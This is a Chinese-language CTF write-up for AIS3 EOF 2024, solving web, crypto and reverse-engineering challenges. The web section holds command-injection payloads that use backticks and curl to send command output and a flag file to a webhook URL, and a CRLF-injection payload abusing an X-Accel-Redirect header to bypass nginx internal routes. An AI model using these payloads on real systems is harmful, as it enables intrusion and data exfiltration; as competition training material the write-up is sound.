# AIS3 EOF 2024
###### tags: `CTF`
[toc]
:::success
- 名次: 24 / 245
以第一次打 EOF 來說我覺得不錯了,希望明年能進前十

:::
---
## Misc
### Welcome
```
Welcome to AIS3 EOF 2024.
Join the Discord
```
加入 discord & 設定好身分組之後,在 2024-Qual 的 #announcement 頻道就能看到 flag

`AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}`
## Web
### DNS Lookup Tool: Final
```
Instancer: http://10.105.0.21:21000/
flag 擺在根目錄
```
這題是 h4ck3r 的類似題目,總之是一個可以查 DNS 的網站,但是在之前的版本中有 command injection 的漏洞

以下是他的 source code 的關鍵部分,可以看到他仍使用黑名單的方式進行過濾,包含像是 `|`, `&`, `;`, `>`, `<`, `\n`, 等常見的 payload 字元,此外還有 `flag`, `*`, `?` 這些
```php
<?php
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'];
$is_input_safe = true;
foreach ($blacklist as $bad_word)
if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;
if ($is_input_safe) {
$retcode = 0;
$output = [];
exec("host {$_POST['name']}", $output, $retcode);
if ($retcode === 0) {
echo "Host {$_POST['name']} is valid!\n";
} else {
echo "Host {$_POST['name']} is invalid!\n";
}
}
else echo "HACKER!!!";
?>
```
但可以看到他沒有過濾 `$()` 以及 "`" (backtick) 字元,因此我們還是有辦法透過這些字元來 bypass 過濾進而執行指令
不過由於他不會將執行結果回傳給我們,只會說是 valid 或是 invalid,因此我們需要找一個可以讓他回傳結果的方式,而這邊我是利用之前 CGGC 的 bossti 那時的方法,使用 curl 來將指令的結果送到 webhook 上,一個 POC 的 payload 如下
```
`curl -d $(whoami) https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7`
```

可以看到我們確實收到了資料,代表我們的確可以用這個方法來取得指令的結果,不過當我測試一些會輸出多行結果的指令如 `ls -al` 時發現資料不會傳回來,跟 CGGC 那時一樣,不過這時我們沒有 `|` 可以包成 base64 了
而經過一些測試之後,我發現只要將執行指令的 `$()` 外面包上雙引號即可正常的回傳資料了,而因此我們可以更肆無忌憚地執行任意的指令
由於 flag 在根目錄,首先我先用 `ls /` 來看一下根目錄的內容
```
`curl -d "$(ls /)" https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7`
```

可以看到 flag 檔案的名稱是 `flag_CV3BZGq43QmVxKCd`,因此使用以下的 payload 即可取得 flag 的內容,這邊我用 `''` 會串接字串的方式繞過 `flag` 這個關鍵字的偵測
```
`curl -d "$(cat /fl''ag_CV3BZGq43QmVxKCd)" https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7`
```

`AIS3{jU$T_3@SY_cOmM4ND_InJ3c7I0N}`
### Internal
```
The flag is for internal use only!
Author: maple3142
http://10.105.0.21:24000/
file: internal.tar.gz
```
首先一進入網頁,可以看到只會單純的印出 `Hello world!`,沒有其他的了,因此這邊我們只好先來看一下原始碼

程式碼的部分如下
```nginx
# default.conf
server {
listen 7778;
listen [::]:7778;
server_name localhost;
location /flag {
internal;
proxy_pass http://web:7777;
}
location / {
proxy_pass http://web:7777;
}
}
```
首先在 nginx 的 `default.conf` 可以看到,他在瀏覽時會將所有的請求都轉發到 `http://web:7777`,不過當路徑為 `/flag` 時,會設定 `internal` 代表這個請求只能由內部來訪問,因此當我們直接訪問時會出現以下的 `404 Not Found` 錯誤

```python
# server.py
URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/flag":
self.send_response(200)
self.end_headers()
self.wfile.write(FLAG.encode())
return
query = parse_qs(urlparse(self.path).query)
redir = None
if "redir" in query:
redir = query["redir"][0]
if not URL_REGEX.match(redir):
redir = None
self.send_response(302 if redir else 200)
if redir:
self.send_header("Location", redir)
self.end_headers()
self.wfile.write(b"Hello world!")
```
在 `server.py` 的部分可以看到,如果我們成功的訪問到了 `/flag` 的話,他會回傳 `FLAG` 的內容,而另外在其他路徑中,假如有 `redir` 的參數的話,他會將我們的請求重新導向到 `redir` 的網址,而他也會去檢查 `redir` 的內容是否符合 `URL_REGEX` 的格式
不過這邊的檢查只會去判斷 `redir` 是不是有長得像 url 的格式出現,而沒有更進一步的檢查了,此外我們可以看到這個 `redir` 會使用 `self.send_header("Location", redir)` 來設定到 response header 的部分,因此這邊我們可以發現有 CRLF injection 的漏洞,讓我們可以注入任意的 header
以下是測試的 payload
```
/?redir=http://localhost:7778/flag%0d%0aA:%20B
```

可以看到我們確實能去竄改 response header 的部分
而根據[這篇文章](https://blog.csdn.net/qq_34981752/article/details/108344016)可以看到,只要在 response header 中有一項 `X-Accel-Redirect` 的 header,nginx 就會將這個請求轉發到 `internal` 的部分,因此我們可以透過這個方式來繞過 `internal` 的限制
因此我們可以透過以下的 payload 來取得 flag
```
/?redir=http://localhost:7778/flag%0d%0aX-Accel-Redirect:%20/flag
```

`AIS3{JU$T_sOm3_fuNny_n91nx_FEature}`
## Crypto
### Baby AES
```
These block cipher operation modes are very similar to stream ciphers. Are you familiar with them?
Author: AnJ
nc chal1.eof.ais3.org 10003
file: AES.py
```
以下是題目原始碼
```python
AES_enc = AES.new(urandom(16), AES.MODE_ECB).encrypt
def AES_CFB (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
_ct = XOR(AES_enc(iv), pt[i : i + 16])
iv = _ct
ct += _ct
return ct
def AES_OFB (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
iv = AES_enc(iv)
ct += XOR(iv, pt[i : i + 16])
return ct
def AES_CTR (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
ct += XOR(AES_enc(iv), pt[i : i + 16])
iv = counter_add(iv)
return ct
```
首先我們可以看到,他定義了一個 ECB mode 的 AES,並實作了三種不同的區塊加密模式
```python
if __name__ == "__main__":
counter = urandom(16)
c1 = urandom(32)
c2 = urandom(32)
c3 = XOR(XOR(c1, c2), FLAG)
print(f"DEBUG c1: {b64encode(c1)}, c2: {b64encode(c2)}, c3: {b64encode(c3)}, counter: {b64encode(counter)}")
print( f"c1_CFB: ({b64encode(counter)}, {b64encode(AES_CFB(counter, c1))})" )
counter = counter_add(counter)
print( f"c2_OFB: ({b64encode(counter)}, {b64encode(AES_OFB(counter, c2))})" )
counter = counter_add(counter)
print( f"c3_CTR: ({b64encode(counter)}, {b64encode(AES_CTR(counter, c3))})" )
for _ in range(5):
try:
counter = counter_add(counter)
mode = input("What operation mode do you want for encryption? ")
pt = b64decode(input("What message do you want to encrypt (in base64)? "))
pt = pt.ljust( ((len(pt) - 1) // 16 + 1) * 16, b"\x00")
if mode == "CFB":
print( b64encode(counter), b64encode(AES_CFB(counter, pt)) )
elif mode == "OFB":
print( b64encode(counter), b64encode(AES_OFB(counter, pt)) )
elif mode == "CTR":
print( b64encode(counter), b64encode(AES_CTR(counter, pt)) )
else:
print("Sorry, I don't understand.")
except:
print("??")
exit()
```
接著在主程式的部分可以看到他會生成一個隨機的 16 bytes `counter` 與兩個隨機的 32 bytes 的字串 `c1` 與 `c2`,並將他們與 flag 做 xor 之後存放於 `c3` 中,並且會對於 `c1`, `c2`, `c3` 分別使用 CFB, OFB, CTR 這三種模式加密,最後會將他們的結果印出來,此外在每次的加密之後,`counter` 會被加一
而當他把結果印出來之後,程式會進入一個可以執行 5 次的迴圈,而在每次的迴圈中,首先他會將 `counter` 加上 1 之後讓我們可以做一次加密,並且會讓我們選擇要使用 `CFB`, `OFB` 或 `CTR` 模式,我們只要將輸入包成 base64 之後送進去即可。當他運算完之後,會將 `counter` 與加密後的結果印出來
而從上面的程式碼可以觀察到,這個程式有一些漏洞,首先他只會使用同一個 AES 做加密,因此不管是在哪一個模式下只要 AES 的輸入相同都會得到相同的 AES 輸出,而另外一個漏洞是在像是 `CTR` 模式中,雖然在函式中有做 `counter_add` 的動作,但是由於函式中沒有設定是 global 的 `counter`,因此每次在主程式中的 `counter` 不會受到子函式裡面的影響,也就是說 `counter` 的值有可能會被重複使用
因此,我們可以利用這兩個漏洞來進行攻擊,我們首先可以先使用 `CTR` mode 並設定輸入是 `\x00` * 16 * 5 個 bytes,而這麼一來在輸出的部分我們就能直接拿到 AES 的輸出,也就是 `AES(init_counter+3)`, `AES(init_counter+4)`, ..., `AES(init_counter+7)` 的值
```python
senddata(b"CTR", b"\x00"*16*5)
counter4, data = readdata()
# AES(counter4) = data[0:16]
# AES(counter5) = data[16:32]
# AES(counter6) = data[32:48]
# AES(counter7) = data[48:64]
# AES(counter8) = data[64:80]
```
而接下來回到主程式執行第二次的迴圈,此時 `counter` 變成 `init_counter+4`,而我們也知道了 `AES(init_counter+4)` 的值,因此我們可以透過修改 plaintext 變成 `AES(init_counter+4)^(init_counter+0)` 並串接一個 `\x00` * 16 的字串,這麼一來我們就能控制 CFB mode 的第二個 block 的 AES 輸入是 `init_counter+0`,我們也就能在第二個 block 的輸出中拿到 `AES(init_counter+0)` 的值,我們也就能與 `CFB(c1)` 的前 16 bytes 做 xor 操作取得 `c1` 前 16 bytes 的值 (當然我們也可以直接在第二個 block 的輸入設定成是 `CFB(c1)` 的前 16 bytes,這麼一來直接在輸出部分就能拿到 `c1` 前 16 bytes 的值了)
```python
senddata(b"CFB", xor(data[16:32], counter1)+c1)
_, c1_data = readdata()
assert c1_data[:16] == counter1
c1_plain_upper = c1_data[16:32]
```
而接下來在第三次迴圈,我們要來復原 `c1` 的後 16 bytes,此時 `counter` 是 `init_counter+5`,我們可以透過前面那樣的方式控制 CFB mode 的第二個 block 的 AES 輸入是 `CFB(c1)` 的前 16 bytes,就如同一般的 CFB mode 那樣,而我們在第二個 block 的輸入中一樣也是給 `\x00` * 16 bytes 的字串,此時我們就能在第二個 block 的輸出中拿到之前在 CFB 加密時的第二個 block 的 AES 輸出一樣的數值,而我們只要再將該數值與 `CFB(c1)` 的後 16 bytes 做 xor 操作,就能得到 `c1` 的後 16 bytes 的值 (當然我們也可以像是前面那樣直接在第二個 block 的輸入設定成是 `CFB(c1)` 的後 16 bytes 直接拿結果)
```python
senddata(b"CFB", xor(data[32:48], c1[0:16])+c1[16:32])
_, c1_2_data = readdata()
assert c1_2_data[:16] == c1[0:16]
c1_plain_lower = c1_2_data[16:32]
```
此時我們已經復原了 `c1` 的值
接下來在第四次迴圈,我們需要恢復 `c2` 的值,此時 `counter` 是 `init_counter+6`,我們可以從 `OFB` 的架構圖看到我們需要 `AES(counter+1)` 以及 `AES(AES(counter+1))` 的值,而我們可以像是前面一樣依樣畫葫蘆修改 CFB mode 第二個 block 的 AES 輸入為 `AES(counter+1)`,並且在第二個 block 的輸入中給 `\x00` * 16 bytes 的字串,這樣一來我們就能在第二個 block 的輸出中拿到 `AES(counter+1)` 的值,而此時由於 CFB mode 的規則,他會將輸出的 `AES(counter+1)` 餵給第 3 個 block 的 AES 輸入,因此我們在設定第 3 個 block 的輸入一樣給 `\x00` * 16 bytes 的字串,這樣一來我們就能在第 3 個 block 的輸出中拿到 `AES(AES(counter+1))` 的值,而我們只要將 `AES(counter+1)` 與 `OFB(c2)` 的前 16 bytes 做 xor 操作,並再拿 `AES(AES(counter+1))` 與 `OFB(c2)` 的後 16 bytes 做 xor 操作,兩者串接起來就能得到 `c2` 的值了
```python
senddata(b"CFB", xor(data[48:64], counter2)+b"\x00"*32)
_, c2_data = readdata()
assert c2_data[:16] == counter2
c2_plain_upper = xor(c2_data[16:32], c2[:16])
c2_plain_lower = xor(c2_data[32:48], c2[16:32])
c2_plain = c2_plain_upper + c2_plain_lower
```
在最後第五次的迴圈,我們必須得要復原 `c3` 的值了,此時 `counter` 是 `init_counter+7`,而從 CTR 架構圖中可以看到我們需要 `AES(counter+2)` 與 `AES(counter+3)` 的值,後者我們已經從第一次迴圈的輸出中拿到了,而前者我們就像是前面一樣修改 CFB mode 第二個 block 的 AES 輸入為 `AES(counter+2)`,並且在第二個 block 的輸入中給 `\x00` * 16 bytes 的字串,這樣一來我們就能在第二個 block 的輸出中拿到 `AES(counter+2)` 的值,我們只要將 `AES(counter+2)` 與 `CTR(c3)` 的前 16 bytes 做 xor 操作,並再拿 `AES(counter+3)` 與 `CTR(c3)` 的後 16 bytes 做 xor 操作,兩者串接起來就能得到 `c3` 的值了
```python
senddata(b"CFB", xor(data[64:80], counter3)+b"\x00"*16)
_, c3_data = readdata()
assert c3_data[:16] == counter3
c3_plain_upper = xor(c3[0:16], c3_data[16:32])
c3_plain_lower = xor(c3[16:32], data[0:16])
c3_plain = c3_plain_upper + c3_plain_lower
```
因此有了 `c1`, `c2`, `c3`,我們只要去做 xor 後即可復原 flag
以下是完整的解題程式碼
```python
from pwn import *
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import base64
context.log_level = 'debug'
conn = remote('chal1.eof.ais3.org', 10003)
# conn = process(["python", "AES.py"])
def readdata():
conn.recvuntil(b"'")
counter = base64.b64decode(conn.recvuntil(b"'"))
conn.recvuntil(b"'")
data = base64.b64decode(conn.recvuntil(b"'"))
return counter, data
def senddata(mode: bytes, data: bytes):
conn.sendlineafter(b"encryption? ", mode)
conn.sendlineafter(b"base64)? ", base64.b64encode(data))
# print(conn.recvline())
counter1, c1 = readdata()
counter2, c2 = readdata()
counter3, c3 = readdata()
senddata(b"CTR", b"\x00"*16*5)
counter4, data = readdata()
# AES(counter4) = data[0:16]
# AES(counter5) = data[16:32]
# AES(counter6) = data[32:48]
# AES(counter7) = data[48:64]
# AES(counter8) = data[64:80]
senddata(b"CFB", xor(data[16:32], counter1)+c1)
_, c1_data = readdata()
assert c1_data[:16] == counter1
c1_plain_upper = c1_data[16:32]
senddata(b"CFB", xor(data[32:48], c1[0:16])+c1[16:32])
_, c1_2_data = readdata()
assert c1_2_data[:16] == c1[0:16]
c1_plain_lower = c1_2_data[16:32]
c1_plain = c1_plain_upper + c1_plain_lower
senddata(b"CFB", xor(data[48:64], counter2)+b"\x00"*32)
_, c2_data = readdata()
assert c2_data[:16] == counter2
c2_plain_upper = xor(c2_data[16:32], c2[:16])
c2_plain_lower = xor(c2_data[32:48], c2[16:32])
c2_plain = c2_plain_upper + c2_plain_lower
senddata(b"CFB", xor(data[64:80], counter3)+b"\x00"*16)
_, c3_data = readdata()
assert c3_data[:16] == counter3
c3_plain_upper = xor(c3[0:16], c3_data[16:32])
c3_plain_lower = xor(c3[16:32], data[0:16])
c3_plain = c3_plain_upper + c3_plain_lower
# AES(counter3) = c3_data[16:32]
print(f"c1_plain = {c1_plain}")
print(f"c2_plain = {c2_plain}")
print(f"c3_plain = {c3_plain}")
print(f"flag = {xor(c1_plain, c2_plain, c3_plain)}")
```

`AIS3{_Bl0Ck_C1PheR_mOde_m@StEr_}`
### Baby RSA
```
I've created a server to receive your messages, but I can't bear your perfect messages, so I want to somehow alter them. Can you still recover or even decrypt them?
Author: AnJ
nc chal1.eof.ais3.org 10002
file: BabyRSA.py
```
以下是題目原始碼
```python
def encrypt(m, e, n):
enc = pow(bytes_to_long(m), e, n)
return enc
def decrypt(c, d, n):
dec = pow(c, d, n)
return long_to_bytes(dec)
if __name__ == "__main__":
while True:
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 3
if phi % e != 0 :
d = pow(e, -1, phi)
break
print(f"{n=}, {e=}")
print("FLAG: ", encrypt(FLAG, e, n))
for _ in range(3):
try:
c = int(input("Any message for me?"))
m = decrypt(c, d, n)
print("How beautiful the message is, it makes me want to destroy it .w.")
new_m = long_to_bytes(bytes_to_long(m) ^ bytes_to_long(os.urandom(8)))
print( "New Message: ", encrypt(new_m, e, n) )
except:
print("?")
exit()
```
可以看到首先他生成了 RSA 的參數,他要兩個 1024 bits 的質數作為 `p`, `q`,並且設定 `e` 為 3,而後他會將公鑰以及 `flag` 的加密結果印出來
接著程式讓我們可以做三次的迴圈,在每次迴圈中他會幫我們做解密的動作,並且會將解密後的結果與一個隨機的 8 bytes 的字串做 xor 之後再將結果加密印出來
這題我使用了 unintended 的解法,首先我們知道他的公鑰指數非常的小只有 3,而我們也知道在每次的連線中都會產生不同的 `n` 參數,而也就成為了一個非常經典的 Broadcast Attack 題目
Broadcast Attack 的原理是這樣的,假設我們有三個不同的 `n`,分別為 $n_1$, $n_2$, $n_3$,而他們有相同的 $m \lt min(n_1, n_2, n_3)$ 以及共同的 $e = 3$,因此我們就有了三個不同的 `c`,分別為 $c_1$, $c_2$, $c_3$,而我們也知道 $c_1 = m^3 \mod n_1$, $c_2 = m^3 \mod n_2$, $c_3 = m^3 \mod n_3$,因此我們可以透過中國剩餘定理 CRT 來解方程式,而我們就能得到 $m^3 \mod (n_1 \times n_2 \times n_3)$ 的值
而由於 $m \lt min(n_1, n_2, n_3)$,因此我們可以知道 $m^3 \lt min(n_1, n_2, n_3)^3 \le n_1 \times n_2 \times n_3$,因此這邊我們可以將前面的結果視同於 $m^3$,因此我們只要將 $m^3$ 開立方根就能得到 $m$ 的值了,也就是 flag
以下是完整的解題腳本
```python
from pwn import *
from Crypto.Util.number import *
from sage.all import CRT
from gmpy2 import iroot
context.log_level = "info"
def getEnc():
# conn = process(["python", "RSA.py"])
conn = remote("chal1.eof.ais3.org", 10002)
conn.recvuntil(b"n=")
n = int(conn.recvuntil(b",")[:-1])
conn.recvuntil(b"e=")
e = int(conn.recvline().strip())
conn.recvuntil(b"FLAG: ")
c = int(conn.recvline().strip())
return n,e,c
n = []
c = []
for _ in range(3):
n_, e_, c_ = getEnc()
n.append(n_)
c.append(c_)
flag_3 = CRT(c, n)
flag,check = iroot(flag_3, 3)
assert check
print(long_to_bytes(flag))
```

`AIS3{C0pPer5mItHs_Sh0r7_P@D_a7t4CK}`
預期解應該是用 coppersmith short pad attack 來解
### Baby Side Channel Attack
```
I implemented a simple RSA encryption & decryption routine in Python and used the trace module to debug it. I hope it doesn't leak any important info.
Note: The int in Python is actually pretty slow, consider using specialized software such as GMP or Sagemath if your solver is taking too much time.
Author: maple3142
file: `chall.py`, `trace.txt.xz`
```
以下是題目原始碼
```python
def powmod(a, b, c):
r = 1
while b > 0:
if b & 1:
r = r * a % c
a = a * a % c
b >>= 1
return r
def keygen(b):
p = getPrime(b // 2)
q = getPrime(b // 2)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
return n, e, d
def main():
flag = os.environ.get("FLAG", "not_flag{just_test}").encode()
n, e, d = keygen(2048)
m = bytes_to_long(flag)
c = powmod(m, e, n)
assert powmod(c, d, n) == m
print(f"{c = }")
ed = powmod(e, d, n)
de = powmod(d, e, n)
print(f"{ed = }")
print(f"{de = }")
if __name__ == "__main__":
main()
# to generate trace.txt.gz:
# execute `python -m trace --ignore-dir=$(python -c 'import sys; print(":".join(sys.path)[1:])') -t chall.py | gzip > trace.txt.gz`
```
可以看到他是一個 RSA 的加密程式,會生成 2048 bits 的 RSA 參數,並且會將 flag 加密之後的結果印出來,而他也會印出 $e^d$ 以及 $d^e$ 的結果,程式本身沒有漏洞
而另外一個檔案 `trace.txt` 的內容如下,可以看到他會記錄每一行執行的程式碼

而我們可以從前面的程式看到,他計算 `powmod` 的方式是使用 Exponentiation by squaring 的方式,也就是說他會將指數轉換成二進位的形式,並且從最低位元開始計算,當遇到 1 時就會將結果乘上 $a$,而在每次計算之後都會將 $a$ 做平方
而因此我們可以透過這個特性來得知每一個 bit 的值,得到 `powmod` 的指數部分的值,而我們也可以看到在程式中有使用到 `powmod(m, e, n)` 以及 `powmod(c, d, n)`,因此我們就能得到 $e$ 和 $d$ 的值了
不過在程式中他沒有輸出 `n` 的值,因此我們還沒辦法快樂的去解 RSA,不過我們可以透過 $e^d$ 以及 $d^e$ 來得到 $n$ 的值,因為我們可以知道 $e^d \equiv ed \mod n$ 以及 $d^e \equiv de \mod n$,因此我們可以知道 $e^d - ed = k_1 \times n$ 以及 $d^e - de = k_2 \times n$,對二者做 GCD 就能得到 $n$ 的值了,在經過 RSA 的解密計算之後我們就能得到 flag
以下是我的解題腳本,由於出題者有提到 int 在 python 中的運算速度很慢,因此需要使用了 gmpy2 來加速運算,不過儘管如此我還是花了大概 1 ~ 2 個小時才跑出來,不知道是不是哪裡出了問題
```python
from param import c, ed, de
import gmpy2
e = 0
d = 0
temp_power_e = 0
temp_power_d = 0
with open('trace.txt') as fh:
for i in range(21):
fh.readline()
while True:
line = fh.readline()
if " --- " in line:
break
if "(9)" in line:
e += 1 << temp_power_e
if "(11)" in line:
temp_power_e += 1
while True:
line = fh.readline()
if " --- " in line:
break
if "(9)" in line:
d += 1 << temp_power_d
if "(11)" in line:
temp_power_d += 1
print(f"{e = }")
print(f"{d = }")
# n = GCD(e^d - ed, d^e - de)
x = gmpy2.mpz(d)**e - gmpy2.mpz(de)
n = gmpy2.gcd(gmpy2.powmod(e, d, x) - ed % x, x)
print(f"{n = }")
flag = pow(c, d, n)
print(f"flag = {flag}")
```

拿到 flag 的數值之後,我們只要將他轉成 bytes 就能得到 flag 了

`AIS3{51D3_Ch@NneL_15_E4sy_WhEN_7H3_D@TA_LE@ka9E_1s_exAct}`
## Reverse
### Flag Generator
```
It's that simple: a flag generator.
Flag Format: put the output in the flag format, e.g., AIS3{output_here}.
Author: Ice1187
file: flag_generator
```
首先我們先將 binary 放進 IDA 做分析,以下是 `main` 函式的部分


可以看到他會做 `calloc` 分配一塊記憶體,並在一些位置上塞入看起來像是 elf 的相關格式的東東。此外也塞入了 shellcode 的部分,而最後程式會將這塊記憶體寫入 `flag.exe` 中
一個簡單分析裡面的 shellcode 的方法是直接去執行這個程式讓他產生 `flag.exe` 再作分析,不過實際上去執行後會發現檔案裡面是空的,而從以下的 `writeFile` 程式碼中可以發現他根本就不會寫入任何東西

因此我們只好直接的來分析 `shellcode` 的部分,不過可以發現 IDA 把它解壞了,變成從中間開始解析,因此我們需要將中間這些解析完成的部分先用 `u` 還原成 raw bytes 之後在開頭的地方再來用 `c` 來重新解析

解析完成之後我們就能看到一些特別的字串出現了

而為了讓我們更方便的分析,我們可以在 `shellcode` 的地方按 `P` 讓他重新分析函式。而此時我們就能從 `main` -> `shellcode` 的地方看到一個 `SHELLCODE_0` 的函式,裡面就是 shellcode 的完整邏輯了

我們可以從程式碼中猜到這個 `shellcode` 會使用 `kernel32.dll` 的 `LoadLibraryA` 函式來載入 `user32.dll` 的 `MessageBoxA` 函式,很可能他是要顯示一個 message box,而 message box 的文字部分則是一串寫在程式碼中的數值與 `PAIN~~!!` 的字串計算一些公式之後做 xor 的解密,而經過測試這個公式其實就等同於一般的 xor 加密而已
因此,我們可以寫一個簡單的程式來解密,以下是解題腳本,執行完之後就能拿到 flag
```python
from pwn import xor
flag_enc = bytes.fromhex("55 65 78 20 19 21 76 68 1e 25 79 39 2d 21 68 14 0f 32 3c 2d 16 21 61 7e 00 01 78 20 50 50 0f 0f")
v6 = b"PAIN~~!!"
flag_enc_bytearr = bytearray(flag_enc)
for i in range(1, len(flag_enc_bytearr)):
flag_enc_bytearr[i] ^= v6[(i) & 7]
i += 1
print(flag_enc_bytearr.decode())
```

`AIS3{U$1ng_WINd0wS_I5_such_@_P@1n....}`
附上我拿 firstblood 的圖

### PixelClicker
```
Someone told me revese challenge can be solved within two clicks... Try this!
Author: TwinkleStar03
file: pixelclicker.exe
```
首先老樣子我們先將程式丟進 IDA 分析,以下是進入點 `WinMain` 的部分

可以看到他有使用到 `CreateWindowExW` 的函式,應該是一個視窗型程式,而我們可以從文件中知道 `lpfnWndProc` 就是該視窗程式的 callback 函式,裡面會有相關的邏輯,我們可以追入看看
首先我們可以先來看一下該函式的下半部分,如下


可以看到這邊是一些處理各事件的邏輯,包含像是說關閉視窗、滑鼠點擊、滑鼠移動等等,可以看到基本上沒有與 flag 太相關的部分,頂多是說在點擊時會設定 pixel 以及將一個變數做 +1
而接著我可以來看一下這個函式上半部分,如下

可以看到當前面的變數模 600 餘一時,他會執行中間的這段程式,首先會呼叫 `sub_140001A60` 的函式,並會做一些事情之後進到 27 行的迴圈中並做一些比較,當比較只要不通過時就會輸出 `You are bad at clicking pixels` 的訊息,而只要比較完 360000 個 pixel 並且都通過時就會輸出 `Perdect Match` 的訊息,可以看到這是比較關鍵的部分了
而不過在 `sub_140001A60` 的程式部分較為複雜,我只看得出是去 resource 的部分取得一些資料出來做一些運算,因此我這邊沒有繼續去逆該函式,而是使用動態分析的方法取得資料出來
首先我們可以知道第 10 行的資料應該是程式預期的資料結果,因此我們可以嘗試去 dump 出來,這邊我使用了 `x64dbg` 下中斷在這個位置 (透過自動中斷於程式進入點得知 code base address 之後去計算 offset 得知要中斷的位置,使用 `bp` 指令進行中斷),之後我使用 `Cheat Engine` 透過抓數值的方式去找出 `dword_140005708` 這個代表點擊次數的變數的所在位置,並且去修改他的值成為 359995 之類的,只要我們再點擊個幾下之後就會因為程式邏輯而進入到這個中斷點,此時再利用外掛的 `scylla` 來 dump 出該位置的記憶體 (`Scylla` -> `File` -> `dump memory`,`Size` 的部分寫一個足夠大的數字即可,這邊我填的是 `0x01000000`),我們就能拿到要比較的資料了
而我們可以猜得到這個資料應該是一個圖片的每個 bits,且大小應該是 600 * 600,因此我寫了一個簡單的程式來將他轉成圖片,以下是程式的部分
```python
import numpy as np
import PIL.Image as Image
import matplotlib.pyplot as plt
data = open("./MEM_000002760D27E000_01000000.mem", "rb").read()
# 4 byte a pixel -> RGBA
row = 600
col = 600
channel = 4
offset = 0x80
img = Image.frombytes("RGBA", (col, row), data[offset:])
# flip
img = img.transpose(Image.FLIP_TOP_BOTTOM)
img_array = np.array(img)
plt.imsave("./temp.png", img_array)
```
而經過一些測試與修改之後,我找到了最佳的參數並拿到了一張圖片,flag 在圖片中 (雖然我不知道為什麼圖片是綠色的就是了)

`AIS3{ju$t_4_5iMPlE_clICKEr_9@m3}`
### Stateful
```
Fully stateful machine!
Author: TwinkleStar03
file: stateful.exe
```
首先一樣我們先將 binary 丟進 IDA 做分析,以下是 `main` 函式的部分

可以看到首先程式會將 argv 輸入的部分複製到 `dest` 陣列中,並會將這個陣列傳入 `state_machine` 的函式,最後會比較執行完之後 `dest` 陣列值是否與 `k_target` 相同,相同的話就會輸出 `Correct!!!` 否則輸出 `Wrong!!!`
以下是 `state_machine` 的函式


首先可以看到他會定義一些 state 之後,根據 `v5` 的值執行不同的函式,並在最後更新 `v5` 成下一個 state 直到沒有遇到匹配的 state 為止
而以下是每個 state 會執行的函式的範例,可以看到基本上就是單純的對陣列做操作而已

而我們可以嘗試使用 `angr` 來解,畢竟他沒有太多的 IO,也沒有太多的分支,設定得宜的話應該是可以解出來,不過我實際去測試時發現會執行較久,可能有待優化,因此我採用另一個比較辛苦的方式來解題
首先我們可以用工人智慧的方式去慢慢地將 state 的運算順序取出來,並使用 `z3` 的方式來設定輸入的 symbol,並根據運算的順序去操作這些符號,最後設定結果要等同於 `k_target` 的值來做約束,如此一來應該就可以解出原始輸入的 flag
以下是解題的腳本,中間的部分是我取出來的運算順序,執行完之後就能拿到 flag 了
```python
from z3 import *
s = Solver()
flag = [BitVec(f'flag_{i}', 8) for i in range(43)]
flag[14] += flag[35] + flag[8]
flag[9] -= flag[2] + flag[22]
flag[0] -= flag[18] + flag[31]
flag[2] += flag[11] + flag[8]
flag[6] += flag[10] + flag[41]
flag[14] -= flag[32] + flag[6]
flag[16] += flag[25] + flag[11]
flag[31] += flag[34] + flag[16]
flag[9] += flag[11] + flag[3]
flag[17] += flag[0] + flag[7]
flag[5] += flag[40] + flag[4]
flag[37] -= flag[29] + flag[3]
flag[23] += flag[7] + flag[34]
flag[39] -= flag[25] + flag[38]
flag[27] += flag[18] + flag[20]
flag[20] += flag[19] + flag[24]
flag[15] += flag[22] + flag[10]
flag[30] -= flag[33] + flag[8]
flag[1] -= flag[29] + flag[13]
flag[19] += flag[10] + flag[16]
flag[0] += flag[33] + flag[16]
flag[36] += flag[11] + flag[15]
flag[24] += flag[20] + flag[5]
flag[7] += flag[21] + flag[0]
flag[1] += flag[15] + flag[6]
flag[30] -= flag[13] + flag[2]
flag[1] += flag[16] + flag[40]
flag[31] += flag[1] + flag[16]
flag[32] += flag[5] + flag[25]
flag[13] += flag[25] + flag[28]
flag[7] += flag[10] + flag[0]
flag[21] += flag[34] + flag[15]
flag[21] -= flag[13] + flag[42]
flag[18] += flag[29] + flag[15]
flag[4] += flag[7] + flag[25]
flag[0] += flag[28] + flag[31]
flag[2] += flag[34] + flag[25]
flag[13] += flag[26] + flag[8]
flag[41] -= flag[3] + flag[34]
flag[37] += flag[27] + flag[18]
flag[4] += flag[27] + flag[25]
flag[23] += flag[30] + flag[39]
flag[18] += flag[26] + flag[31]
flag[10] -= flag[12] + flag[22]
flag[4] += flag[6] + flag[22]
flag[37] += flag[12] + flag[16]
flag[15] += flag[40] + flag[8]
flag[17] += flag[38] + flag[24]
flag[8] += flag[14] + flag[16]
flag[5] += flag[37] + flag[20]
k_target =[
0xA5, 0x98, 0xCC, 0x33, 0x76, 0x62, 0x33, 0x4B, 0xDD, 0x22,
0xA4, 0x55, 0x5F, 0xA7, 0x63, 0xE0, 0x1B, 0xBA, 0xB5, 0xCF,
0xFA, 0xB0, 0x6C, 0x8E, 0x38, 0x72, 0x5F, 0x2D, 0x37, 0x40,
0x49, 0x54, 0xAD, 0x65, 0x53, 0x24, 0x02, 0x79, 0x74, 0x60,
0x33, 0xCC, 0x7D
]
for i in range(43):
s.add(flag[i] == k_target[i])
print(s.check())
if s.check() == sat:
m = s.model()
print(m)
y = [v.as_long() for k,v in sorted([(d, m[d]) for d in m], key = lambda x: int(x[0].name().split('_')[1]))]
print(bytes(y))
```

`AIS3{Ar3_YoU_@_sTAtEful_Or_S7@T3LeS$_CtF3R}`
## Pwn
### jackpot
```
You need to be lucky to get jackpot!
